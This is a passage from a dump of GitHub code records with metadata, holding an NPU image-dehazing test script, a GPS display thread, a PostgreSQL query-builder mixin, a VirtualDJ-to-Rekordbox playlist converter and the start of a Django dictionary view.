"numpy.shape", "line_number": 148, "usage_type": "call"}, {"api_name": "GPy.kern.src.sde_matern.sde_Matern52", "line_number": 157, "usage_type": "call"}, {"api_name": "GPy.models.GPRegression", "line_number": 158, "usage_type": "call"}, {"api_name": "emukit.model_wrappers.GPyModelWrapper", "line_number": 163, "usage_type": "call"}, {"api_name": "l2_bayes_opt.acquisitions.L2NegativeLowerConfidenceBound", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 165, "usage_type": "call"}, {"api_name": "emukit.bayesian_optimization.loops.BayesianOptimizationLoop", "line_number": 167, "usage_type": "call"}, {"api_name": "params_setting.parameter_space_6d", "line_number": 168, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 175, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 182, "usage_type": "call"}]} {"seq_id": "72870211102", "text": "import os,argparse\nimport numpy as np\nfrom PIL import Image\nfrom models import *\nimport torch\nimport torch.nn as nn\nimport torchvision.transforms as tfs \nimport torchvision.utils as vutils\nimport matplotlib.pyplot as plt\nfrom torchvision.utils import make_grid\nimport torch.npu\nimport os\nNPU_CALCULATE_DEVICE = 0\nif os.getenv('NPU_CALCULATE_DEVICE') and str.isdigit(os.getenv('NPU_CALCULATE_DEVICE')):\n\tNPU_CALCULATE_DEVICE = int(os.getenv('NPU_CALCULATE_DEVICE'))\nif torch.npu.current_device() != NPU_CALCULATE_DEVICE:\n\ttorch.npu.set_device(f'npu:{NPU_CALCULATE_DEVICE}')\n\nabs=os.getcwd()+'/'\ndef tensorShow(tensors,titles=['haze']):\n fig=plt.figure()\n for tensor,tit,i in zip(tensors,titles,range(len(tensors))):\n img = make_grid(tensor)\n npimg = img.numpy()\n ax = fig.add_subplot(221+i)\n ax.imshow(np.transpose(npimg, (1, 2, 0)))\n ax.set_title(tit)\n plt.show()\n\nparser=argparse.ArgumentParser()\nparser.add_argument('--task',type=str,default='its',help='its or ots')\nparser.add_argument('--test_imgs',type=str,default='test_imgs',help='Test imgs folder')\nopt=parser.parse_args()\ndataset=opt.task\ngps=3\nblocks=19\nimg_dir=abs+opt.test_imgs+'/'\noutput_dir=abs+f'pred_FFA_{dataset}/'\nprint(\"pred_dir:\",output_dir)\nif not os.path.exists(output_dir):\n os.mkdir(output_dir)\nmodel_dir=abs+f'trained_models/{dataset}_train_ffa_{gps}_{blocks}.pk'\ndevice='npu' if torch.npu.is_available() else 'cpu'\nckp=torch.load(model_dir,map_location=device)\nnet=FFA(gps=gps,blocks=blocks)\nnet=net\nnet.load_state_dict(ckp['model'])\nnet.eval()\nfor im in os.listdir(img_dir):\n print(f'\\r {im}',end='',flush=True)\n haze = Image.open(img_dir+im)\n haze1= tfs.Compose([\n tfs.ToTensor(),\n tfs.Normalize(mean=[0.64, 0.6, 0.58],std=[0.14,0.15, 0.152])\n ])(haze)[None,::]\n haze_no=tfs.ToTensor()(haze)[None,::]\n with torch.no_grad():\n pred = net(haze1)\n ts=torch.squeeze(pred.clamp(0,1).cpu())\n tensorShow([haze_no,pred.clamp(0,1).cpu()],['haze','pred'])\n vutils.save_image(ts,output_dir+im.split('.')[0]+'_FFA.png')\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/dev/cv/quality_enhancement/FFA-NET_ID1043_for_PyTorch/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.getenv", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.npu.current_device", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.npu.set_device", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "torchvision.utils.make_grid", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.npu.is_available", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 44, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 49, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 51, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 51, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 52, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 52, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 53, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 53, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 54, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 54, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 59, "usage_type": "call"}, {"api_name": "torchvision.utils.save_image", "line_number": 61, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 61, "usage_type": "name"}]} {"seq_id": "74664808542", "text": "from printer import Printer\nfrom text import *\nfrom thread import BaseThread as Thread\n\nimport dateutil.parser\nfrom dateutil.tz import tzlocal\n\nimport gps, time\n\nclass GPSThread(Thread):\n def __init__(self,logger):\n super(GPSThread,self).__init__(logger)\n \n def run(self):\n session = gps.gps(mode=gps.WATCH_ENABLE)\n while self.iterate():\n gpsinfo = None\n satellites = None\n maxtries = 10\n try:\n while not gpsinfo and maxtries:\n report = session.next()\n if report['class'] == 'TPV':\n gpsinfo = dict(report)\n gpsinfo['satellites'] = satellites\n break\n elif report['class'] == 'SKY':\n sats_used = len([ s for s in report.get('satellites', {}) if s['used'] == True])\n sats_avail = len([ s for s in report.get('satellites', {})])\n satellites = (sats_used, sats_avail)\n maxtries -= 1\n except StopIteration:\n pass\n if gpsinfo:\n self.set_data(gpsinfo)\n if self.sleep(1):\n break\n session.close()\n \nclass GPSPrinter(Printer):\n def __init__(self,**kwargs):\n self.PAGES = ['POS', 'SPEED', 'TRACK', 'TIME' ]\n super(GPSPrinter,self).__init__(**kwargs)\n \n # always show GPS printer\n self.timeout_override = True\n \n # internal variables\n self._thread = None\n \n def init_layout(self):\n super(GPSPrinter,self).init_layout()\n\n page = Page(self.lcd,idx=self.PAGE.POS)\n self.lon = page.add_scroll_line(header=\"Lon\")\n self.lat = page.add_scroll_line(header=\"Lat\")\n self.pages.append(page)\n\n page = Page(self.lcd,idx=self.PAGE.SPEED)\n self.speed = page.add_scroll_line(header=\"Speed\")\n self.alt = page.add_scroll_line(header=\"Alt\")\n self.pages.append(page)\n\n page = Page(self.lcd,idx=self.PAGE.TRACK)\n self.track = page.add_scroll_line(header=\"Track\")\n self.sat = page.add_scroll_line(header=\"Sats used\")\n self.pages.append(page)\n\n page = Page(self.lcd,idx=self.PAGE.TIME)\n self.time = page.add_scroll_line(header=\"Time\")\n self.date = page.add_scroll_line(header=\"Date\")\n self.pages.append(page)\n \n self.set_active(self.PAGE.POS)\n\n def __del__(self):\n self.stop()\n \n def stop(self):\n if not self._thread:\n return\n self._thread.stop()\n \n def init(self):\n if not self._thread:\n self._thread = GPSThread(self.logger)\n self._thread.start()\n self.update()\n self.lcd.set_color(*self.color)\n self.render(True)\n \n def render(self,force=False):\n self.update()\n super(GPSPrinter,self).render(force)\n \n def update(self):\n gpsinfo = self._thread.pop_data()\n if not gpsinfo:\n return\n self.logger.debug( '%s updating' % type(self).__name__)\n mode = gpsinfo.get('mode', 1)\n if mode < 2:\n return\n gpstime = gpsinfo.get('time', None)\n self.lon.setText( (\"%f\" % gpsinfo.get('lon', 0.0) ).rjust(self.lon.width))\n self.lat.setText( (\"%f\" % gpsinfo.get('lat', 0.0) ).rjust(self.lat.width))\n self.speed.setText((\"%.1f km/h\" % (gpsinfo.get('speed', 0)*3.6)).rjust(self.speed.width))\n self.track.setText((\"%d deg\" % gpsinfo.get('track', 0) ).rjust(self.track.width))\n self.alt.setText( (\"%d m\" % gpsinfo.get('alt', 0) ).rjust(self.alt.width))\n satellites = gpsinfo['satellites']\n if satellites:\n self.sat.setText((\"%d/%d\" % satellites).rjust(self.sat.width))\n if gpstime:\n localtime = dateutil.parser.parse(gpstime).astimezone(tzlocal())\n self.time.setText((\"%s\" % localtime.strftime('%H:%M:%S')).rjust(self.time.width))\n self.date.setText((\"%s\" % localtime.date()).rjust(self.date.width))\n", "repo_name": "jmechnich/musicpi_lcd", "sub_path": "musicpi_lcd/printer_gps.py", "file_name": "printer_gps.py", "file_ext": "py", "file_size_in_byte": 4198, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "thread.BaseThread", "line_number": 10, "usage_type": "name"}, {"api_name": "gps.gps", "line_number": 15, "usage_type": "call"}, {"api_name": "gps.WATCH_ENABLE", "line_number": 15, "usage_type": "attribute"}, {"api_name": "printer.Printer", "line_number": 40, "usage_type": "name"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 114, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 114, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 114, "usage_type": "name"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 114, "usage_type": "call"}]} {"seq_id": "38981526196", "text": "\"\"\"\nA very flexible query constructor (albeit confusing)\nthat allows you to describe the structure of related tables in a few lines.\nFor more information, see the application documentation.\n\"\"\"\nfrom config.models import ExchangeTableSettings, SQLDBSettings\n\n\nclass QueryBuildMixin:\n \"\"\"The query construction functionality for the PostgresSQL Extractor placed in a separate class.\"\"\"\n\n # The name of the SQL service subquery used to sort and filter newly modified data\n TRACKED_FIELD_NAME = \"_tracked_field\"\n # The name of the service field from the SQL subquery used to sort and filter newly modified data\n TRACKED_TABLE_NAME = \"_tracked_table\"\n # The crutch is used to get rid of filtering for the first requests.\n WHERE_COMMENT = \"IS NOT NULL /*CHANGE*/\"\n\n def __init__(\n self, source: ExchangeTableSettings, db_settings: SQLDBSettings | None = None\n ):\n self.source = source\n self.db_schema = \"\" if db_settings is None else db_settings.db_schema\n self.query_limit = (\n None if db_settings is None else db_settings.query_entries_limit\n )\n self.default_key_field = (\n \"id\" if db_settings is None else db_settings.key_field_name\n )\n\n @staticmethod\n def get_table_alias(table: ExchangeTableSettings) -> str:\n return format(table.name if not table.alias else table.alias)\n\n @staticmethod\n def get_full_field_name(table_alias: str, field: str, quotes: bool = True) -> str:\n return (\n '\"{0}\".\"{1}\"'.format(table_alias, field)\n if quotes\n else \"{0}.{1}\".format(table_alias, field)\n )\n\n def get_field_alias(self, table: ExchangeTableSettings, field: str):\n table_alias = self.get_table_alias(table)\n return table.aliases.get(field, \"{0}__{1}\".format(table_alias, field))\n\n def get_full_table_name(self, table: ExchangeTableSettings) -> str:\n db_schema = table.db_schema if table.db_schema else self.db_schema\n table_name = (\n table.name if not db_schema else '\"{}\".\"{}\"'.format(db_schema, table.name)\n )\n return '{} AS \"{}\"'.format(table_name, self.get_table_alias(table))\n\n def get_table_with_joins(\n self, table: ExchangeTableSettings, parent_table: ExchangeTableSettings\n ):\n table_alias = self.get_table_alias(table)\n joins = None\n if parent_table is not None and len(table.join) > 0:\n parent_table_alias = self.get_table_alias(parent_table)\n joins = [\n \"{} = {}\".format(\n self.get_full_field_name(parent_table_alias, value),\n self.get_full_field_name(table_alias, key),\n )\n for key, value in table.join.items()\n ]\n return self.get_full_table_name(table), joins\n\n def get_table_key_field_name(self, table: ExchangeTableSettings):\n return table.key_field_name or self.default_key_field\n\n def _get_fields_and_tables_parts_sql(\n self,\n current_table: ExchangeTableSettings,\n parent_table: ExchangeTableSettings | None = None,\n depth=0,\n ) -> dict[str, list | tuple]:\n \"\"\"\n The method returns a data structure containing fields and tables.\n Based on this structure, an SQL query will be built.\n \"\"\"\n result = {\n \"fields\": [], # [(field, field_full_name, field_alias)]\n \"tables\": [], # [(table_with_alias, join_on)]\n }\n table_alias = self.get_table_alias(current_table)\n\n # Adding fields to result\n for field in current_table.fields:\n field_alias = self.get_field_alias(current_table, field)\n if parent_table is None:\n field_alias = current_table.aliases.get(field, field)\n field_full_name = self.get_full_field_name(table_alias, field)\n result[\"fields\"].append((field, field_full_name, field_alias))\n\n # Adding current table to result\n result[\"tables\"].append(self.get_table_with_joins(current_table, parent_table))\n\n # Max depth for children table = 2\n if current_table.children is not None and depth < 2:\n for children_table in current_table.children:\n children_result = self._get_fields_and_tables_parts_sql(\n children_table, current_table, depth + 1\n )\n for key, value in children_result.items():\n result[key] += value\n\n # Grouping fields\n if depth == 1 and current_table.group is not None:\n if len(result[\"fields\"]) == 1:\n field = result[\"fields\"][0]\n agg = \"array_agg (DISTINCT {})\".format(field[1])\n result[\"fields\"][0] = (None, agg, current_table.group)\n elif len(result[\"fields\"]) > 1:\n fields = \", \\n\".join(\n [\n \" '{}', {}\".format(\n field[0] if \"__\" in field[2] else field[2], field[1]\n )\n for field in result[\"fields\"]\n ]\n )\n agg = (\n \"COALESCE (json_agg(DISTINCT jsonb_build_object(\\n{}\\n))\"\n \" FILTER (WHERE {} is not null), '[]')\".format(\n fields, result[\"fields\"][-1][1]\n )\n )\n result[\"fields\"] = [(None, agg, current_table.group)]\n return result\n\n def _get_tracked_fields_with_related_tables(\n self,\n current_table: ExchangeTableSettings,\n parent_tables: list[ExchangeTableSettings] | None = None,\n depth=0,\n compare_field_actual_for_child_queries: bool | None = None,\n ):\n \"\"\"\n A recursive query that forms a list of fields, tables and relationships between\n them for further formation of an SQL query\n \"\"\"\n result = {} # tracked_field: [(table_with_alias, join_on), ...]\n if parent_tables is None:\n parent_tables = [current_table]\n else:\n parent_tables.append(current_table)\n if current_table.field_actual_state_name:\n field_full_name = self.get_full_field_name(\n self.get_table_alias(current_table),\n current_table.field_actual_state_name,\n False,\n )\n\n first_table = parent_tables[0]\n key_field = self.get_table_key_field_name(first_table)\n key_field_full_name = self.get_full_field_name(\n self.get_table_alias(first_table), key_field\n )\n query_str_list = [\n 'JOIN (\\n SELECT {0} AS \"id\", MAX({1}) AS \"{2}\"'.format(\n key_field_full_name, field_full_name, self.TRACKED_FIELD_NAME\n ),\n ]\n parent_table = None\n for table in parent_tables:\n table_str = \" FROM\" if parent_table is None else \" JOIN\"\n table_join = self.get_table_with_joins(table, parent_table)\n if table_join[1] is not None:\n query_str_list.append(\n \"{0} {1} ON {2}\".format(\n table_str, table_join[0], \", \".join(table_join[1])\n )\n )\n else:\n query_str_list.append(\"{0} {1}\".format(table_str, table_join[0]))\n parent_table = table\n\n # A block that adds filtering of records in the child table if necessary.\n root_table = parent_tables[0]\n where_start = \"\"\n if (\n compare_field_actual_for_child_queries is True\n and current_table.compare_field_actual_with_parent_query is not False\n and root_table.field_actual_state_name\n ):\n root_field = self.get_full_field_name(\n self.get_table_alias(root_table), root_table.field_actual_state_name\n )\n where_start = \"{} < {} AND\".format(root_field, field_full_name)\n\n query_str_list.append(\n \" WHERE {0} {1} {2}\\n GROUP BY {3}\\n ORDER BY {4}\".format(\n where_start,\n field_full_name,\n self.WHERE_COMMENT,\n key_field_full_name,\n self.TRACKED_FIELD_NAME,\n )\n )\n if self.query_limit is not None:\n query_str_list.append(\" LIMIT {} OFFSET %s\".format(self.query_limit))\n query_str_list.append(\n ' ) AS \"{0}\" ON {1} = \"{0}\".\"id\"'.format(\n self.TRACKED_TABLE_NAME, key_field_full_name\n )\n )\n\n result[field_full_name] = \"\\n\".join(query_str_list)\n\n if current_table.compare_field_actual_for_child_queries is not None:\n compare_field_actual_for_child_queries = (\n current_table.compare_field_actual_for_child_queries\n )\n if current_table.children is not None and depth < 2:\n for children_table in current_table.children:\n child_result = self._get_tracked_fields_with_related_tables(\n children_table,\n parent_tables,\n depth + 1,\n compare_field_actual_for_child_queries,\n )\n result.update(child_result)\n\n parent_tables.pop()\n return result\n\n def get_tracked_fields_with_query(self):\n return self._get_tracked_fields_with_related_tables(self.source.table)\n\n def select_query_for_load(\n self, where_filter: str = \"\", adding_fields: [str] = [], adding_join: [str] = []\n ) -> str:\n \"\"\"\n Returns an SQL query based on the structure described in self.source.table.\n Request example:\n SELECT\n \"fw\".\"id\" AS \"id\",\n \"fw\".\"title\" AS \"title\",\n \"fw\".\"description\" AS \"description\",\n \"fw\".\"rating\" AS \"imdb_rating\",\n \"fw\".\"modified\" AS \"modified\",\n array_agg (DISTINCT \"gr\".\"name\") AS \"genre\",\n COALESCE (json_agg(DISTINCT jsonb_build_object(\n 'role', \"pfw\".\"role\",\n 'id', \"pn\".\"id\",\n 'name', \"pn\".\"full_name\",\n 'modified', \"pn\".\"modified\"\n )) FILTER (WHERE \"pn\".\"modified\" is not null), '[]') AS \"persons\",\n \"_tracked_table\".\"_tracked_field\"\n FROM \"content\".\"film_work\" AS \"fw\"\n LEFT JOIN \"content\".\"genre_film_work\" AS \"gfw\" ON (\"fw\".\"id\" = \"gfw\".\"film_work_id\")\n LEFT JOIN \"content\".\"genre\" AS \"gr\" ON (\"gfw\".\"genre_id\" = \"gr\".\"id\")\n LEFT JOIN \"content\".\"person_film_work\" AS \"pfw\" ON (\"fw\".\"id\" = \"pfw\".\"film_work_id\")\n LEFT JOIN \"content\".\"person\" AS \"pn\" ON (\"pfw\".\"person_id\" = \"pn\".\"id\")\n JOIN (\n SELECT \"fw\".\"id\" AS \"id\", MAX(pn.modified) AS \"_tracked_field\"\n FROM \"content\".\"film_work\" AS \"fw\"\n JOIN \"content\".\"person_film_work\" AS \"pfw\" ON \"fw\".\"id\" = \"pfw\".\"film_work_id\"\n JOIN \"content\".\"person\" AS \"pn\" ON \"pfw\".\"person_id\" = \"pn\".\"id\"\n WHERE \"fw\".\"modified\" < pn.modified AND pn.modified > %s\n GROUP BY \"fw\".\"id\"\n ORDER BY _tracked_field\n LIMIT 10000 OFFSET %s\n ) AS \"_tracked_table\" ON \"fw\".\"id\" = \"_tracked_table\".\"id\"\n GROUP BY\n \"fw\".\"id\",\n \"fw\".\"title\",\n \"fw\".\"description\",\n \"fw\".\"rating\",\n \"fw\".\"modified\",\n \"_tracked_table\".\"_tracked_field\"\n LIMIT 10000\n \"\"\"\n fields_and_tables = self._get_fields_and_tables_parts_sql(self.source.table)\n tables = []\n for table in fields_and_tables[\"tables\"]:\n tables.append(\n table[0]\n if table[1] is None\n else \"LEFT JOIN {} ON ({})\".format(table[0], \" AND \".join(table[1]))\n )\n tables.extend(adding_join)\n fields = []\n group_by = []\n group_by_need = False\n for field in fields_and_tables[\"fields\"]:\n if field[0] is not None:\n group_by.append(field[1])\n else:\n group_by_need = True\n fields.append('{} AS \"{}\"'.format(field[1], field[2]))\n fields.extend(adding_fields)\n group_by.extend(adding_fields)\n fields_str = \",\\n \".join(fields)\n tables_str = \"\\n\".join(tables)\n group_by_str = \"\"\n if group_by_need:\n group_by_str = \"GROUP BY\\n {}\".format(\",\\n \".join(group_by))\n where_str = \"\" if where_filter == \"\" else \"\\nWHERE {}\".format(where_filter)\n sql_text = \"SELECT \\n {0} \\nFROM {1} {2}\\n{3}\\n\".format(\n fields_str, tables_str, where_str, group_by_str\n )\n\n if self.query_limit is not None:\n sql_text += \"LIMIT {}\".format(self.query_limit)\n\n return sql_text\n", "repo_name": "Rezyapkin/new_admin_panel_sprint_3", "sub_path": "postgres_to_es/sql_build.py", "file_name": "sql_build.py", "file_ext": "py", "file_size_in_byte": 13186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "config.models.ExchangeTableSettings", "line_number": 20, "usage_type": "name"}, {"api_name": "config.models.SQLDBSettings", "line_number": 20, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 32, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 43, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 47, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 55, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 70, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 75, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 76, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 135, "usage_type": "name"}, {"api_name": "config.models.ExchangeTableSettings", "line_number": 136, "usage_type": "name"}]} {"seq_id": "74295092384", "text": "import xml.etree.ElementTree as ET\nfrom urllib.parse import quote\nfrom pathlib import Path\ntree = ET.parse('database.xml')\nroot = tree.getroot()\n\n\ndef vdj_to_dict(root: ET.Element):\n tracks = {}\n for i, song in enumerate(root):\n # if \"Aarena\" not in song.attrib[\"FilePath\"]:\n # continue\n # print(child.find(\"Tags\").attrib)\n path = song.attrib[\"FilePath\"]\n relpath = path.split(\"\\\\\")[-1]\n filename = Path(relpath).stem\n file_kind = Path(relpath).suffix.split('.')[-1]\n file_size = song.attrib[\"FileSize\"]\n\n tags = song.find(\"Tags\")\n infos = song.find(\"Infos\")\n scan = song.find(\"Scan\")\n\n\n try:\n title = tags.attrib[\"Title\"]\n except KeyError:\n title = filename\n\n try:\n artist = tags.attrib[\"Author\"]\n except KeyError:\n artist = None\n\n try:\n album = tags.attrib[\"Album\"]\n except KeyError:\n album = None\n\n try:\n year = tags.attrib[\"Year\"]\n except KeyError:\n year = None\n\n length = str(round(float(infos.attrib[\"SongLength\"]), 3))\n bitrate = infos.attrib[\"Bitrate\"]\n playcount = infos.attrib[\"PlayCount\"]\n\n tonality = scan.attrib[\"Key\"]\n bpm = str(round(1 / float(scan.attrib[\"Bpm\"]) * 60, 3))\n\n cues = []\n\n for poi in song.findall(\"Poi\"):\n if poi.attrib[\"Type\"] == \"cue\":\n try:\n pos = str(round(float(poi.attrib[\"Pos\"]), 3))\n num = str(int(poi.attrib[\"Num\"]) - 1)\n cues.append({\"pos\": pos, \"num\": num})\n except KeyError:\n pass\n\n elif poi.attrib[\"Type\"] == \"beatgrid\":\n grid_start = str(round(float(poi.attrib[\"Pos\"]), 6))\n \n\n\n # print(title)\n\n # print(path)\n # print(filename)\n # print(file_kind)\n # print(title)\n\n # print([path, relpath, filename, file_kind, title, length, bitrate, playcount, tonality, bpm]) \n # print(cues) \n tracks[i] = {\n \"file_info\": {\"path\": path, \"relpath\": relpath, \"filename\": filename, \"file_kind\": file_kind, \"file_size\": file_size},\n \"track_info\": {\"title\": title, \"artist\": artist, \"album\": album, \"year\": year, \"length\": length, \"bitrate\": bitrate, \"playcount\": playcount, \"bpm\": bpm, \"tonality\": tonality},\n \"cue_info\": {\"grid_start\": grid_start, \"cues\": cues}\n }\n\n return tracks\n\ndef dict_to_rkbx(set_dict: dict, output_path: str):\n root = ET.Element(\"DJ_PLAYLISTS\")\n root.attrib[\"Version\"] = \"1.0.0\"\n\n product = ET.SubElement(root, \"PRODUCT\")\n product.attrib[\"Name\"] = \"groffrey converter\"\n product.attrib[\"Version\"] = \"0.0.1\"\n product.attrib[\"Company\"] = \"grof productions\"\n\n track_count = len(set_dict)\n\n collection = ET.SubElement(root, \"COLLECTION\")\n collection.attrib[\"Entries\"] = str(track_count)\n\n for track_id, track_dict in set_dict.items():\n track = ET.SubElement(collection, \"TRACK\")\n track.attrib[\"TrackID\"] = str(track_id)\n track.attrib[\"Name\"] = track_dict[\"track_info\"][\"title\"]\n if track_dict[\"track_info\"][\"artist\"]:\n track.attrib[\"Artist\"] = track_dict[\"track_info\"][\"artist\"]\n if track_dict[\"track_info\"][\"album\"]:\n track.attrib[\"Album\"] = track_dict[\"track_info\"][\"album\"]\n track.attrib[\"Kind\"] = track_dict[\"file_info\"][\"file_kind\"]\n\n raw_path = track_dict[\"file_info\"][\"path\"]\n safe_path = quote(raw_path)\n rkbx_path = f\"file://localhost/{safe_path}\"\n track.attrib[\"Location\"] = rkbx_path\n track.attrib[\"Size\"] = track_dict[\"file_info\"][\"file_size\"]\n track.attrib[\"TotalTime\"] = track_dict[\"track_info\"][\"length\"]\n if track_dict[\"track_info\"][\"year\"]:\n track.attrib[\"Year\"] = track_dict[\"track_info\"][\"year\"]\n track.attrib[\"Tonality\"] = track_dict[\"track_info\"][\"tonality\"]\n\n for cue_data in track_dict[\"cue_info\"][\"cues\"]:\n cue = ET.SubElement(track, \"POSITION_MARK\")\n cue.attrib[\"Name\"] = \"cue\"\n cue.attrib[\"Type\"] = \"0\"\n cue.attrib[\"Start\"] = cue_data[\"pos\"]\n cue.attrib[\"Num\"] = cue_data[\"num\"]\n\n cue.attrib[\"Red\"] = \"40\"\n cue.attrib[\"Green\"] = \"226\"\n cue.attrib[\"Blue\"] = \"20\"\n\n tempo = ET.SubElement(track, \"TEMPO\")\n tempo.attrib[\"Inizio\"] = track_dict[\"cue_info\"][\"grid_start\"]\n tempo.attrib[\"Bpm\"] = track_dict[\"track_info\"][\"bpm\"]\n\n playlists = ET.SubElement(root, \"PLAYLISTS\")\n\n node_root = ET.SubElement(playlists, \"NODE\")\n node_root.attrib[\"Type\"] = \"0\"\n node_root.attrib[\"Name\"] = \"ROOT\"\n node_root.attrib[\"Count\"] = \"1\"\n\n node_playlist = ET.SubElement(node_root, \"NODE\")\n node_playlist.attrib[\"Name\"] = input(\"Enter playlist name: \")\n node_playlist.attrib[\"Type\"] = \"1\"\n node_playlist.attrib[\"KeyType\"] = \"0\"\n node_playlist.attrib[\"Entries\"] = str(track_count)\n\n for i in tracks.keys():\n track = ET.SubElement(node_playlist, \"TRACK\")\n track.attrib[\"Key\"] = str(i)\n\n\n \n\n tree = ET.ElementTree(root)\n ET.indent(tree, space=\" \", level=0)\n tree.write(output_path, \"UTF-8\")\n\n \n\n\n\n\ntracks = vdj_to_dict(root)\n\n\ndict_to_rkbx(tracks, \"testout.xml\")\n", "repo_name": "gbhand/dotfiles", "sub_path": "vdj.py", "file_name": "vdj.py", "file_ext": "py", "file_size_in_byte": 5386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "xml.etree.ElementTree.parse", "line_number": 4, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 4, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 8, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 8, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 86, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 86, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 89, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 89, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 96, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 96, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 100, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 100, "usage_type": "name"}, {"api_name": "urllib.parse.quote", "line_number": 110, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 120, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 120, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 130, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 130, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 134, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 134, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 136, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 136, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 141, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 141, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 148, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 148, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.ElementTree", "line_number": 154, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 154, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.indent", "line_number": 155, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 155, "usage_type": "name"}]} {"seq_id": "25165489769", "text": "from django.shortcuts import render\nimport string\n# Create your views here.\nfrom .models import Lugat\n\n\ndef tarjima(request):\n if request.method == 'GET':\n soz = request.GET.get('q', '')\n if soz and soz != '':\n natija = Lugat.objects.filter(inglizcha__contains=soz).all()[:5]\n else:\n natija = None\n\n return render(request, 'tarjimon.html', {'q':soz, 'natija': 